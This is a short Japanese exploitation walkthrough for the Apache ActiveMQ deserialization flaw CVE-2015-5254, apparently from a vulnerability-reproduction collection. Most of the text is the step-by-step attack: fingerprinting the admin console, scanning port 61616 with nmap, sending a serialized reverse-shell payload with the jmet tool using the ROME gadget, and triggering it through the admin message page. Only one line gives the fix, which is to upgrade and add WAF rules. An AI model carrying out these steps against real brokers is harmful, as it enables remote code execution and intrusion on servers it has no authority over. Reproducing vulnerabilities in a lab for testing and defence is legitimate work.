ActiveMQ_CVE-2015-5254

ActiveMQ デシリアライゼーション (CVE-2015-5254)

脆弱性の説明：Apache ActiveMQ 5.13.0 より前の 5.x バージョンに安全上の脆弱性が存在します。この脆弱性は、プログラムがブローカーでシリアライズ可能なクラスを制限していないことに起因します。リモートの攻撃者は、特別に細工されたシリアライズ化された Java Message Service (JMS) ObjectMessage オブジェクトを利用して、任意のコードを実行する可能性があります。

影響を受けるバージョン：Apache ActiveMQ 5.13.0 より前の 5.x バージョン

0x01 ログインしてバージョンを確認： http://IP:8161

0x02 61616 ポートが開放されていることを確認： nmap -sV -Pn -T4 -sC -p 61616 IP

0x03 リバースペイロードを送信： java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "xxx" -Yp ROME IP 61616

0x04 Browse event-Message ID をクリックしてトリガー、リバース成功： http://IP:8161/admin/message.jsp?id=ID&JMSDestination=event

修正の提案：最新バージョンにアップグレードし、WAF 関連ルールを構成してブロックする